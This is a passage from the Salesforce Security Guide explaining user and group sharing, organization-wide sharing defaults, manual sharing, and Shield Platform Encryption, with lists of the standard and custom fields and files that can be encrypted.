target user. Users inherit the same access as users below them in the role hierarchy. Apex managed sharing isn’t supported.
User sharing for external users
Users with the “Manage External Users” permission have access to external user records for Partner Relationship Management,
Customer Service, and Customer Self-Service portal users, regardless of sharing rules or organization-wide default settings for User
records. The “Manage External Users” permission doesn’t grant access to guest or Chatter External users
High-volume Experience Cloud site users and Chatter users
Only users with roles can be included in sharing rules. For this reason, the user records of high-volume users, Chatter External, and
Chatter Free users can't be included in sharing rules, and these users can't be granted access to user records via a sharing rule.
Automated Process and License Manager users
Some special users created for org or app maintenance, such as Automated Process and License Manager users, can't be included
in any sharing rules, including user sharing rules.
User sharing compatibility
When the organization-wide default for the user object is set to Private, user sharing doesn’t fully support these features.
• Chatter Messenger isn’t available for external users. It’s available for internal users only when the organization-wide default for
the user object is set to Public Read Only.
• Salesforce CRM Content—A user who can create libraries can see users they don't have access to when adding library members.
• Standard Report Types—If the organization-wide default for the user object is Private and the Standard Report Visibility checkbox
is selected, a person viewing the report can see the names of users that are listed in the report. To see details such as username
and email address, the viewer must have access to the users. For more information on user sharing with standard and custom
report types and Public and Private organization-wide defaults, see Control Standard Report Visibility.
User sharing in Chatter
In Chatter, there are exceptions where users who aren’t shared can still see and interact with each other. For example, regardless of
user sharing, in a public Chatter group, everyone with access to the group can see all posts. They can also see the names of the users
who post and mention users who commented on a post.
For example, you set up user sharing so Mary and Bob can’t see or interact with each other. Mary posts on a public Chatter group.
She can’t mention Bob, because user sharing prevents Bob’s name from showing up in the mention dropdown list. However, Bob
can see Mary’s post and he comments on her post. Now Mary can actually mention Bob in her next comment on her post.
There are also exceptions where users who aren't shared can still see each other in the mention dropdown list. For example, Sue
has interacted with Edgar in Chatter (by liking or commenting on his post or mentioning him). Then you set up user sharing so Sue
can’t see Edgar. Sue posts on a public Chatter group. She can mention Edgar because, due to their previous interaction, his name
shows up on the mention dropdown list. However, if Sue clicks the Edgar mention, she gets an error because, due to user sharing,
she can’t see him.

133
Salesforce Security Guide What Is a Group?

Set the Org-Wide Sharing Defaults for User Records

Set the org-wide sharing defaults for the user object before opening up access.
EDITIONS
For user records, you can set the organization-wide sharing default to Private or Public Read Only.
The default must be set to Private if there is at least one user who shouldn’t see a record. Available in: both Salesforce
Classic (not available in all
Let’s say that your organization has internal users (employees and sales agents) and external users
orgs) and Lightning
(site or portal users) under different sales agents or accounts, with these requirements:
Experience
• Employees can see everyone.
Available in: Professional,
• Sales agents can see employees, other agents, and their own customer user records only. Enterprise, Performance,
• External customers can see other customers only if they are under the same agent or account. Unlimited, and Developer
To meet these requirements, set the default external access to Private, and extend access using Editions
sharing rules, manual sharing, or user permissions.
When the feature is first turned on, the default access setting is Private for external users. The default USER PERMISSIONS
for internal users is Public Read Only. To change the organization-wide defaults for external access
To set default sharing
to the user object:
access:
1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings. • Manage Sharing
2. Click Edit in the Organization-Wide Defaults area.
3. Select the default internal and external access you want to use for user records.
The default external access must be more restrictive or equal to the default internal access.

4. Click Save.
Users have Read access to those below them in the role hierarchy and full access on their own user record.

What Is a Group?
A group consists of a set of users. A group can contain individual users, other groups, or the users
EDITIONS
in a particular role or territory. It can also contain the users in a particular role or territory plus all the
users below that role or territory in the hierarchy. Available in: both Salesforce
There are two types of groups. Classic (not available in all
orgs) and Lightning
Public groups
Experience
Administrators and delegated administrators can create public groups. Everyone in the
organization can use public groups. For example, an administrator can create a group for an Available in: Professional,
employee carpool program. All employees can then use this group to share records about the Enterprise, Performance,
program. Unlimited, Developer, and
Database.com Editions
Personal groups
Each user can create groups for their personal use. For example, users might need to ensure
that certain records are always shared within a specified workgroup.

Tip: Permission set groups consist of permission sets rather than users. Permission set groups bundle permission sets based on
job functions or tasks. To learn more about permission set groups and why you use them, see Permission Set Groups.
You can use groups in the following ways.
• To set up default sharing access via a sharing rule
• To share your records with other users
• To specify that you want to synchronize contacts owned by other users

134
Salesforce Security Guide What Is a Group?

• To add multiple users to a Salesforce CRM Content library

• To assign users to specific actions in Salesforce Knowledge

IN THIS SECTION:
Create and Edit Groups
Only administrators and delegated administrators can create and edit public groups, but anyone can create and edit their own
personal groups.
Group Member Types
Many types of groups are available for various internal and external users.

Create and Edit Groups

Only administrators and delegated administrators can create and edit public groups, but anyone
EDITIONS
can create and edit their own personal groups.
To create or edit a group: Available in: both Salesforce
Classic (not available in all
1. Click the control that matches the type of group:
orgs) and Lightning
• For personal groups, go to your personal settings and click My Personal Information or Experience
Personal—whichever one appears. Then click My Groups. The Personal Groups related
list is also available on the user detail page. Available in: Professional,
Enterprise, Performance,
• For public groups, from Setup, in the Quick Find box, enter Public Groups, then select Unlimited, and Developer
Public Groups. Editions
2. Click New, or click Edit next to the group you want to edit.
3. Enter the following: USER PERMISSIONS

To create or edit a public

Field Description group:
Label The name used to refer to the group in any user • Manage Users
interface pages. To create or edit another
user’s personal group:
Group Name (public groups only) The unique name used by the API and managed • Manage Users
packages.

Grant Access Using Select Grant Access Using Hierarchies to allow

Hierarchies (public groups automatic access to records using your role hierarchies.
only) When selected, any records shared with users in this
group are also shared with users higher in the hierarchy.
Deselect Grant Access Using Hierarchies if you’re
creating a public group with All Internal Users as
members, which optimizes performance for sharing
records with groups.

Note: If Grant Access Using Hierarchies is

deselected, users that are higher in the role
hierarchy don’t receive automatic access.
However, some users—such as those with the
“View All” and “Modify All” object permissions

135
Salesforce Security Guide What Is a Group?

and the “View All Data” and “Modify All Data” system permissions—can
still access records they don’t own.

Search From the Search dropdown, select the type of member to add. If you don’t
see the member you want to add, enter keywords in the search box and click
Find.

Note: For account owners to see child records owned by high-volume

Experience Cloud site users, they must be members of any share groups
with access to the site users' data.

Selected Members Select members from the Available Members box, and click Add to add them
to the group.

Selected Delegated Groups In this list, specify any delegated administration groups whose members can
add or remove members from this public group. Select groups from the
Available Delegated Groups box, and then click Add. This list appears only
in public groups.

4. Click Save.

Note: When you edit groups, roles, and territories, sharing rules are recalculated to add or remove access as needed.

Group Member Types

Many types of groups are available for various internal and external users.
EDITIONS
When you create or edit a group, you can select the following types of members from the Search
drop-down list. Depending on your organization settings, some types may not be available. Available in: both Salesforce
Classic (not available in all
Member Type Description orgs) and Lightning
Experience
Customer Portal Users All of your Customer Portal users. This is only
available when a customer site or portal is Available in: Professional,
enabled for your organization. Enterprise, Performance,
Unlimited, and Developer
Partner Users All of your partner users. This is only available Editions
when a partner site or portal is enabled for your The member types that are
organization. available vary depending on
Personal Groups All of your own groups. This is only available your edition.
when creating other personal groups.
USER PERMISSIONS

To create or edit a public

group:
• Manage Users
To create or edit another
user’s personal group:
• Manage Users

136
Salesforce Security Guide What Is a Group?

Member Type Description

Portal Roles All roles defined for your organization’s site or portal. This includes
all users in the specified role, except high-volume users.

Note: A site or portal role name includes the name of the

account that it’s associated with, except for person accounts,
which include the user Alias.

Portal Roles and Subordinates All roles defined for your organization’s site or portal. This includes
all of the users in the specified role plus all of the users below that
role in the site or portal role hierarchy, except for high-volume
users.

Note: A site or portal role name includes the name of the

account that it’s associated with, except for person accounts,
which include the user Alias.

Public Groups All public groups defined by your administrator.

Roles All roles defined for your organization. Adding a role to a group
includes all of the users in that role, but does not include site or
portal roles.

Roles and Internal Subordinates Adding a role and its subordinate roles includes all of the users in
that role plus all of the users in roles below that role. This doesn't
include site or portal roles or users.

Roles and Subordinates Adding a role and its subordinate roles includes all of the users in
that role plus all of the users in roles below that role. This is only
available when no Salesforce Experience sites or portals are enabled
for your organization.

Warning: After enabling digital experiences, all Roles and

Subordinates members in groups are converted to Roles,
Internal and Portal Subordinates members. Review public
groups that contain Roles, Internal and Portal Subordinates
members, and replace them with Role and Internal
Subordinates as required.

Roles, Internal and Portal Subordinates Adding a role and its subordinate roles includes all of the users in
that role plus all of the users in roles below that role. This is only
available when Salesforce Experiences or portals are enabled for
your organization. This includes site and portal users.

Users All users in your organization. This doesn't include site or portal
users.

Note: You can't add unauthenticated guest users to public groups.

137
Salesforce Security Guide Manual Sharing

Manual Sharing
Manual sharing gives other users access to certain types of records, including accounts, contacts,
EDITIONS
and leads.
Sometimes, granting access to one record includes access to all its associated records. For example, Available in: both Salesforce
if you grant another user access to an account, the user automatically has access to all the Classic (not available in all
opportunities and cases associated with that account. orgs) and Lightning
Experience
To grant access to a record, you must be one of the following users.
• The record owner Available in: Professional,
Enterprise, Performance,
• A user in a role above the owner in the hierarchy (if your organization’s sharing settings control Unlimited, and Developer
access through hierarchies) Editions
• Any user granted Full Access to the record
• An administrator
If a user transfers ownership of a record, Salesforce deletes any manual shares created by the original record owner, which can cause
users to lose access. When account ownership is transferred, manual shares created by the original account owner on child records, such
as opportunities and cases, are also deleted.

Organization-Wide Sharing Defaults

Define the default access level for an object’s records with organization-wide sharing settings.
EDITIONS
Organization-wide sharing settings can be set separately for custom objects and many standard
objects, and you can set different levels of access for internal and external users. Available in: both Salesforce
For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Classic (not available in all
Public Read/Write. In environments where the organization-wide sharing setting for an object is orgs) and Lightning
Private or Public Read Only, an admin can grant users additional access to records by setting up a Experience
role hierarchy or defining sharing rules. However, sharing rules can only be used to grant additional Available in: Professional,
access—they can’t be used to restrict access to records beyond what was originally specified with Enterprise, Performance,
the organization-wide sharing defaults. Unlimited, Developer, and
Database.com Editions.
IN THIS SECTION:
Set Your Internal Organization-Wide Sharing Defaults
Internal organization-wide sharing defaults set the baseline access for your internal users for your records. You can set the defaults
separately for different objects.
External Organization-Wide Defaults Overview
External organization-wide defaults provide separate organization-wide defaults for internal and external users. They simplify your
sharing rules configuration and improve recalculation performance. Additionally, you can easily see which information is being
shared to external users.

138
Salesforce Security Guide Organization-Wide Sharing Defaults

Set Your Internal Organization-Wide Sharing Defaults

Internal organization-wide sharing defaults set the baseline access for your internal users for your
EDITIONS
records. You can set the defaults separately for different objects.

Note: Who Sees What: Org-Wide Defaults (English only) Available in: both Salesforce
Classic (not available in all
Watch how you can restrict access to records owned by other users. orgs) and Lightning
Experience
1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing
Settings. Available in: Professional,
Enterprise, Performance,
2. Click Edit in the Organization-Wide Defaults area.
Unlimited, and Developer
3. For each object, select the default internal access that you want to use. For information on Editions
setting the default external access, see External Organization-Wide Defaults Overview.
4. To disable automatic access using your hierarchies for custom objects, deselect Grant Access USER PERMISSIONS
Using Hierarchies. You can only deselect this setting for custom objects that don’t have a
default access of Controlled by Parent. For more information, see Controlling Access Using To set default sharing
Hierarchies in Salesforce Help. access:
• Manage Sharing
When you update organization-wide defaults, sharing recalculation applies the access changes to
your records. If you have a lot of data, the update can take longer.
If you’re increasing the default access, such as from Public Read Only to Public Read/Write, your changes take effect immediately. All
users get access based on the updated default access. Sharing recalculation is then run asynchronously to ensure that all redundant
access from manual or sharing rules is removed. When the default access for contacts is Controlled by Parent and you increase the default
access for accounts, opportunities, or cases, the changes take effect after recalculation is run. If you’re decreasing the default access, such
as from Public Read/Write to Public Read Only, your changes take effect after recalculation is run.
You’ll receive a notification email when the recalculation completes. Refresh the Sharing Settings page to see your changes. To view the
update status, from Setup, in the Quick Find box, enter View Setup Audit Trail, then select View Setup Audit Trail.

Note: The organization-wide sharing default setting can’t be changed for some objects:
• Service contracts are always Private.
• User provisioning requests are always Private.
• The ability to view or edit a document, report, or dashboard is based on a user’s access to the folder in which it’s stored.
• Users can view forecasts only of users and territories below them in the forecast hierarchy, unless forecast sharing is enabled.
• When a custom object is on the detail side of a master-detail relationship with a standard object, its organization-wide default
is set to Controlled by Parent and it is not editable.
• The organization-wide default settings can’t be changed from private to public for a custom object if Apex code uses the
sharing entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing access
on a custom object Invoice__c (represented as Invoice__share in the code), you can’t change the object’s
organization-wide sharing setting from private to public.
Also, if the default access for Account is set to Private, the default access for Opportunity and Case must be set to Private as well.
The default access for Contact must be set to Private or Controlled by Parent.

139
Salesforce Security Guide Organization-Wide Sharing Defaults

External Organization-Wide Defaults Overview

External organization-wide defaults provide separate organization-wide defaults for internal and
EDITIONS
external users. They simplify your sharing rules configuration and improve recalculation performance.
Additionally, you can easily see which information is being shared to external users. Available in: both Salesforce
For example, to configure more restrictive access for external users, set the default internal access Classic (not available in all
to Public Read Only or Public Read/Write and the default external access to Private. These settings orgs) and Lightning
also speed up performance for reports, list views, searches, and API queries. Experience

Note: The external access level for an object can’t be more permissive than the internal Available in: Professional,
access level. Enterprise, Performance,
Unlimited, and Developer
You can set external organization-wide defaults for these objects. Your org might have other objects Editions
whose external organization-wide defaults can be modified.
• Account
• Asset
• Case
• Campaign
• Contact
• Individual
• Lead
• Opportunity
• Order
• User
• Custom Objects
External organization-wide defaults aren’t available for some objects, but you can achieve the same behavior with sharing rules. Set the
default access to Private and create a sharing rule to share records with all internal users.
External users include:
• Authenticated website users
• Chatter external users
• Site users
• Customer Portal users
• High-volume Experience Cloud site users
• Partner Portal users
• Service Cloud Portal users

Note: Chatter external users have access to only the User object.

Guest users aren't considered external users. Guest users’ org-wide defaults are set to Private for all objects, and this access level can’t
be changed.

IN THIS SECTION:
Set Your External Organization-Wide Sharing Defaults
External organization-wide defaults enable you to set a different default access level for external users.

140
Salesforce Security Guide Organization-Wide Sharing Defaults

Set Your External Organization-Wide Sharing Defaults

External organization-wide defaults enable you to set a different default access level for external
EDITIONS
users.
Before you set the external organization-wide defaults, make sure that they’re enabled. From Setup, Available in: both Salesforce
in the Quick Find box, enter Sharing Settings, then select Sharing Settings, and click the Classic (not available in all
Enable External Sharing Model button. External organization-wide defaults are automatically orgs) and Lightning
enabled in all orgs created in Spring ’20 or after and in all orgs where Salesforce Experiences or Experience
portals are enabled. Available in: Professional,
Important: Once enabled, the External Sharing Model can't be disabled. You can still manually Enterprise, Performance,
set Default External Access and Default Internal Access to the same access level for each Unlimited, and Developer
Editions
object.
When you first enable external organization-wide defaults, the default internal access and default
external access are set to the original default access level. For example, if your organization-wide USER PERMISSIONS
default for contacts is Private, the default internal access and default external access are Private as
To set default sharing
well. To secure access to your objects, we recommend that you set your external organization-wide access:
defaults to Private. • Manage Sharing
Note: Keep in mind these access level exceptions:
• After you enable external organization-wide defaults, the external access levels for User
and newly created custom objects are set to Private by default.
• In orgs created after Spring ’20, the default external access level is set to Private for all
objects.

To set the external organization-wide default for an object:

1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings.
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default access you want to use.
You can assign the following access levels.

Access Level Description

Controlled by Parent Users can perform actions (such as view, edit, delete) on a record on
the detail side of a master-detail relationship if they can perform the
same action on all associated master records.

Note: For contacts, Controlled by Parent must be

set for both the default internal and external access.

Private Only users who are granted access by ownership, permissions, role
hierarchy, manual sharing, or sharing rules can access the records.

Public Read Only All users can view all records for the object.

Public Read/Write All users can view and edit all records for the object.

Note: The default external access level must be more restrictive or equal to the default internal access level. For example, you
can have a custom object with default external access set to Private and default internal access set to Public Read Only.

141
Salesforce Security Guide Strengthen Your Data's Security with Shield Platform
Encryption

4. Click Save.

Strengthen Your Data's Security with Shield Platform Encryption

Shield Platform Encryption gives your data a whole new layer of security while preserving critical
EDITIONS
platform functionality. It enables you to encrypt sensitive data at rest, and not just when transmitted
over a network, so your company can confidently comply with privacy policies, regulatory Available as an add-on
requirements, and contractual obligations for handling private data. subscription in: Enterprise,
Shield Platform Encryption builds on the data encryption options that Salesforce offers out of the Performance, and
box. Data stored in many standard and custom fields and in files and attachments is encrypted Unlimited Editions. Requires
using an advanced HSM-based key derivation system, so it’s protected even when other lines of purchasing Salesforce
defense have been compromised. Shield. Available in
Developer Edition at no
Your data encryption key material is never saved or shared across orgs. You can choose to have charge for orgs created in
Salesforce generate key material for you or upload your own key material. By default, the Shield Summer ’15 and later.
Key Management Service derives data encryption keys on demand from a master secret and your
org-specific key material, and stores that derived data encryption key in an encrypted key cache. Available in both Salesforce
You can also opt out of key derivation on a key-by-key basis, or store your final data encryption key Classic and Lightning
outside of Salesforce and have the Cache-Only Key Service fetch it on demand from a key service Experience.
that you control. No matter how you choose to manage your keys, Shield Platform Encryption
secures your key material at every stage of the encryption process.
You can try out Shield Platform Encryption at no charge in Developer Edition orgs. It is available in sandboxes after it has been provisioned
for your production org.

IN THIS SECTION:
What You Can Encrypt
Shield Platform Encryption lets you encrypt a wide variety of standard fields and custom fields. You can also encrypt files and
attachments stored in Salesforce, Salesforce search indexes, and more. We continue to make more fields and files available for
encryption.
How Shield Platform Encryption Works
Shield Platform Encryption relies on a unique tenant secret that you control and a master secret that's maintained by Salesforce. By
default, we combine these secrets to create your unique data encryption key. You can also supply your own final data encryption
key. We use your data encryption key to encrypt data that your users put into Salesforce, and to decrypt data when your authorized
users need it.
Set Up Your Encryption Policy
An encryption policy is your plan for encrypting data with Shield Platform Encryption. You can choose how you want to implement
it. For example, you can encrypt individual fields and apply different encryption schemes to those fields. Or you can choose to encrypt
other data elements such as files and attachments, data in Chatter, or search indexes. Remember that encryption is not the same
thing as field-level security or object-level security. Put those controls in place before you implement your encryption policy.
Filter Encrypted Data with Deterministic Encryption
You can filter data that’s protected with Shield Platform Encryption using deterministic encryption. Your users can filter records in
reports and list views, even when the underlying fields are encrypted. You can apply case-sensitive deterministic encryption or
exact-match case-insensitive deterministic encryption to data on a field-by-field basis.

142
Salesforce Security Guide What You Can Encrypt

Key Management and Rotation

Shield Platform Encryption lets you control and rotate the key material used to encrypt your data. You can use Salesforce to generate
a tenant secret for you, which is then combined with a per-release master secret to derive a data encryption key. This derived data
encryption key is then used in encrypt and decrypt functions. You can also use the Bring Your Own Key (BYOK) service to upload
your own key material, or store key material outside of Salesforce and have the Cache-Only Key Service fetch your key material on
demand.
Shield Platform Encryption Customizations
Some features and settings require adjustment before they work with encrypted data.
Tradeoffs and Limitations of Shield Platform Encryption
A security solution as powerful as Shield Platform Encryption doesn't come without some tradeoffs. When your data is encrypted,
some users may see limitations to some functionality, and a few features aren't available at all. Consider the impact on your users
and your overall business solution as you design your encryption strategy.

SEE ALSO:
https://help.salesforce.com/HTViewHelpDoc?id=security_pe_overview.htm
Classic Encryption for Custom Fields

What You Can Encrypt

Shield Platform Encryption lets you encrypt a wide variety of standard fields and custom fields. You
EDITIONS
can also encrypt files and attachments stored in Salesforce, Salesforce search indexes, and more.
We continue to make more fields and files available for encryption. Available as an add-on
subscription in: Enterprise,
IN THIS SECTION: Performance, and
Unlimited Editions. Requires
Which Standard Fields Can I Encrypt?
purchasing Salesforce
You can encrypt certain fields on standard and custom objects, data in Chatter, and search Shield. Available in
index files. With some exceptions, encrypted fields work normally throughout the Salesforce Developer Edition at no
user interface, business processes, and APIs. charge for orgs created in
Which Custom Fields Can I Encrypt? Summer ’15 and later.
You can apply Shield Platform Encryption to the contents of fields that belong to one of these Available in both Salesforce
custom field types. Classic and Lightning
Which Files Are Encrypted? Experience.
When you enable Shield Platform Encryption for files and attachments, all files and attachments
that can be encrypted are encrypted. The body of each file or attachment is encrypted when
it’s uploaded.
What Other Data Elements Can I Encrypt?
In addition to standard and custom field data and files, Shield Platform Encryption supports other Salesforce data. You can encrypt
Einstein Analytics data sets, Chatter fields, fields in the Salesforce B2B Commerce managed package, and more.

143
Salesforce Security Guide What You Can Encrypt

Which Standard Fields Can I Encrypt?

You can encrypt certain fields on standard and custom objects, data in Chatter, and search index
EDITIONS
files. With some exceptions, encrypted fields work normally throughout the Salesforce user interface,
business processes, and APIs. Available as an add-on
When you encrypt a field, existing values aren't encrypted immediately. Values are encrypted only subscription in: Enterprise,
after they’re touched or after they’re synchronized with the latest encryption policy. Synchronize Performance, and
existing data with your policy on the Encryption Statistics page in Setup. Unlimited Editions. Requires
purchasing Salesforce
Shield. Available in
Encrypted Standard Fields Developer Edition at no
You can encrypt the contents of these standard field types. charge for orgs created in
Summer ’15 and later.
Accounts
Available in both Salesforce
• Account Name
Classic and Lightning
• Account Site Experience.
• Billing Address (encrypts Billing Street and Billing City)
• Description
• Fax
• Phone
• Shipping Address (encrypts Shipping Street and Shipping City)
• Website

Note: If your org has enabled Person Accounts, certain account and contact fields are combined into one record. In that case,
you can enable encryption for a different set of Account fields.
Accounts (if Person Accounts enabled for your org)
• Account Name
• Account Site
• Assistant
• Assistant Phone
• Billing Address (encrypts Billing Street and Billing City)
• Description
• Email
• Fax
• Home Phone
• Mailing Address (encrypts Mailing Street and Mailing City)
• Mobile
• Other Address (encrypts Other Street and Other City)
• Other Phone
• Phone
• Shipping Address (encrypts Shipping Street and Shipping City)
• Title
• Website

144
Salesforce Security Guide What You Can Encrypt

Activity
• Description (encrypts Event—Description and Task—Comment)
• Subject (encrypts Event—Subject and Task—Subject)

Note: Selecting an Activity field encrypts that fields on standalone events, event series (Lightning Experience), and recurring
events (Salesforce Classic).
Business License
• Identifier

Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Business License Application
• Site Address (encrypts Site Street and Site City)

Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Business Profile
• Business Operating Name
• Business Tax Identifier

Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Cases
• Description
• Subject
Case Comments
• Body (including internal comments)
Chat Transcript
• Body
• Supervisor Transcript Body

Note: Before you can apply encryption to Chat fields, add the Supervisor Transcript Body field to the LiveChatTranscript record
home layout.
Contacts
• Assistant
• Assistant Phone
• Description
• Email
• Fax
• Home Phone
• Mailing Address (encrypts Mailing Street and Mailing City)
• Mobile
• Name (encrypts First Name, Middle Name, and Last Name)

145
Salesforce Security Guide What You Can Encrypt

• Other Address (encrypts Other Street and Other City)

• Other Phone
• Phone
• Title
Contracts
• Billing Address (encrypts Billing Street and Billing City)
• Shipping Address (encrypts Shipping Street and Shipping City)
Conversation Entries
• Actor Name
• Message
Course Offering
• Name

Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Custom Objects
• Name
Email Messages
• From Name
• From Address
• To Address
• CC Address
• BCC Address
• Subject
• Text Body
• HTML Body
• Headers
If you use Email-to-Case, these fields are also encrypted on the customer emails that generate cases.
Email Message Relations
• Relation Address
Health Cloud

Note: Health Cloud standard objects and fields are available to users who have the Health Cloud Platform permission set
license.
Care Request
• Admission Notes
• Disposition Notes
• Facility Record Number
• First Reviewer Notes
• Medical Director Notes

146
Salesforce Security Guide What You Can Encrypt

• Member First Name

• Member Last Name
• Member ID
• Member Group Number
• Resolution Notes
• Root Cause Notes
Care Request Drug
• Prescription Number
Contact Encounter
• Name
Coverage Benefit
• Benefit Notes
• Coinsurance Notes
• Copay Notes
• Deductible Notes
• Lifetime Maximum Notes
• Out-of-Pocket Notes
• Source System Identifier
Coverage Benefit Item
• Coverage Level
• Notes
• Service Type
• Service Type Code
• Source System Identifier
Member Plan
• Affiliation
• Group Number
• Issuer Number
• Member Number
• Primary Care Physician
• Source System Identifier
Purchaser Plan
• Plan Number
• Service Type
• Source System
• Source System Identifier
Purchaser Plan Association
• Purchaser Plan Association ID
• Status

147
Salesforce Security Guide What You Can Encrypt

• Source System
• Source System Identifier

Note: Deterministic encryption is unavailable for long text fields and fields that have Notes in the name.

Identity Document
• Document Number
• Expiration Date
• Issue Date
Individual
• Name

Note: The Individual object is available only if you enable the org setting to make data protection details available in records.

Insurance for Financial Services Cloud

Note: Insurance for Financial Services Cloud standard objects and fields are available to users who have Financial Services
Cloud enabled.
Business Milestone
• Milestone Name
Claim
• Claim Number
• Incident Site
• Report Number
Customer Property
• Address
• Lien Holder Name
Insurance Policy
• Policy Number
• Servicing Office
• Universal Policy Number
Person Life Event
• Event Name
Securities Holding
• Name
Leads
• Address (Encrypts Street and City)
• Company
• Description
• Email
• Fax
• Mobile

148
Salesforce Security Guide What You Can Encrypt

• Name (Encrypts First Name, Middle Name, and Last Name)

• Phone
• Title
• Website
List Emails
• From Name
• From Address
• Reply To Address
List Email Sent Results
• Email
Messaging End User
• Profile Picture URL
OCR Document Scan Result
• Extracted Values
OCR Scan Result Template Mapping
• Mapped Fields
Opportunities
• Description
• Next Step
• Opportunity Name
Public Complaint
• Business Address
• Business Name
• Email
• First Name
• Last Name
• Mobile Number

Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Recommendations
• Description
Regulatory Code Violation
• Corrective Action Description
• Description

Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Salesforce CPQ

Note: Salesforce CPQ standard objects and fields are available to users who have the Salesforce CPQ permission set license.

149
Salesforce Security Guide What You Can Encrypt

Lookup Data
• Lookup Data
Process Input Value
• Value
Quote
• Bill To City
• Bill To Country
• Bill To Name
• Bill To Postal Code
• Bill To State
• Bill To Street
• Introduction
• Notes
• Ship To City
• Ship To Country
• Ship To Name
• Ship To Postal Code
• Ship To State
• Ship To Street
Quote Template
• Company Name
Quote Term
• Body
Tax Exemption Certificate
• Certificate Number
• Country
• County
• Exempt Company Name
• Notes
• Postal Code
• State
• Street Address
• Street Address_2
Service Appointments
• Address (Encrypts Street and City)
• Description
• Subject
Training Course
• Description

150
Salesforce Security Guide What You Can Encrypt

• Name

Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Utterance Suggestion
• Utterance
Violation Enforcement Action
• Description

Note: Emergency Response Management for Public Sector standard objects and fields are available to users who have the
Emergency Response for Public Sector permission set license.
Web Quote
• Introduction
• Notes
• Ship to City
• Ship to Country
• Ship to Name
• Ship to Postal Code
• Ship to State
• Ship to Street
• Description
• Product Code
Work Orders
• Address (Encrypts Street and City)
• Description
• Subject
Work Order Line Items
• Address (Encrypts Street and City)
• Description
• Subject
Workplace Command Center

Note: To enable encryption on the Employee object, contact Salesforce Customer Support.

Employee
• Alternate Email
• Email
• First Name
• Home Address
• Home Phone
• Last Name
• Middle Name

151
Salesforce Security Guide What You Can Encrypt

• Preferred First Name

• Work Phone

Which Custom Fields Can I Encrypt?

You can apply Shield Platform Encryption to the contents of fields that belong to one of these custom field types.
• Email
• Phone
• Text
• Text Area
• Text Area (Long)
• Text Area (Rich)
• URL
• Date
• Date/Time
After a custom field is encrypted, you can’t change the field type. For custom phone and email fields, you also can’t change the field
format.

Important: When you encrypt the Name field, enhanced lookups are automatically enabled. Enhanced lookups improve the
user’s experience by searching only through records that have been looked up recently, and not all existing records. Switching to
enhanced lookups is a one-way change. You can’t go back to standard lookups, even if you disable encryption.
You can’t use Schema Builder to create an encrypted custom field.
To encrypt custom fields that have the Unique or External ID attribute, you can only use deterministic encryption.

Unsupported Custom Fields

Some custom fields can’t be encrypted.
• Fields on external data objects
• Fields that are used in an account contact relation
• Fields with data translation enabled
• Rich Text Area fields on Knowledge Articles

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

152
Salesforce Security Guide What You Can Encrypt

Which Files Are Encrypted?

When you enable Shield Platform Encryption for files and attachments, all files and attachments
EDITIONS
that can be encrypted are encrypted. The body of each file or attachment is encrypted when it’s
uploaded. Available as an add-on
These kinds of files are encrypted when you enable file encryption: subscription in: Enterprise,
Performance, and
• Files attached to email
Unlimited Editions. Requires
• Files attached to feeds purchasing Salesforce
• Files attached to records Shield. Available in
Developer Edition at no
• Images included in Rich Text Area fields
charge for orgs created in
• Files on the Content, Libraries, and Files tabs (Salesforce Files, including file previews, and Summer ’15 and later.
Salesforce CRM Content files)
Available in both Salesforce
• Files managed with Salesforce Files Sync and stored in Salesforce
Classic and Lightning
• Files attached to Chatter posts, comments, and the sidebar Experience.
• Notes body text using the new Notes tool
• Files attached to Knowledge articles
• Quote PDFs
These file types and attachments aren’t encrypted:
• Chatter group photos
• Chatter profile photos
• Documents
• Notes previews in the new Notes tool
• Notes and Notes previews in the old Notes tool

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

What Other Data Elements Can I Encrypt?

In addition to standard and custom field data and files, Shield Platform Encryption supports other
EDITIONS
Salesforce data. You can encrypt Einstein Analytics data sets, Chatter fields, fields in the Salesforce
B2B Commerce managed package, and more. Available as an add-on
Change Data Capture subscription in: Enterprise,
Performance, and
Change Data Capture provides near-real-time changes of Salesforce records, enabling you to
Unlimited Editions. Requires
synchronize corresponding records in an external data store. If a Salesforce record field is
purchasing Salesforce
encrypted with Shield Platform Encryption, changes to encrypted field values generate change Shield. Available in
events. You can encrypt these change events by selecting Encrypt and deliver Change Data Developer Edition at no
Capture events on the Encryption Policy page in Setup. charge for orgs created in
Chatter Feed Summer ’15 and later.
Encrypted Chatter data includes data in feed posts and comments, questions and answers, link
Available in both Salesforce
names and URLs, poll choices and questions, and content from your custom rich publisher Classic and Lightning
apps. Experience.
The revision history of encrypted Chatter fields is also encrypted. If you edit or update an
encrypted Chatter field, the old information remains encrypted.

153
Salesforce Security Guide What You Can Encrypt

Chatter data is stored in the Feed Attachment, Feed Comment, Feed Poll Choice, Feed Post, and Feed Revision objects. The database
fields on these objects that house encrypted data are visible from the Encryption Statistics page in Setup.
• ChatterExtensionInstance—Payload
• ChatterExtensionInstance—PayloadVersion
• ChatterExtensionInstance—TextRepresentation
• ChatterExtensionInstance—ThumbnailUrl
• ChatterExtensionInstance—Title
• FeedAttachment—Title
• FeedAttachment—Value
• FeedComment—RawCommentBody
• FeedPollChoice—ChoiceBody
• FeedPost—LinkUrl
• FeedPost—RawBody
• FeedPost—Title
• FeedRevision—RawValue
Some fields listed in the Encryption Statistics aren’t visible in the UI by the same name. However, they store all encrypted data that’s
visible in the UI.

Note: Enabling Encryption for Chatter encrypts all eligible Chatter fields. You can’t choose to encrypt only some Chatter fields.

Einstein Analytics
Encrypts new Einstein Analytics datasets.
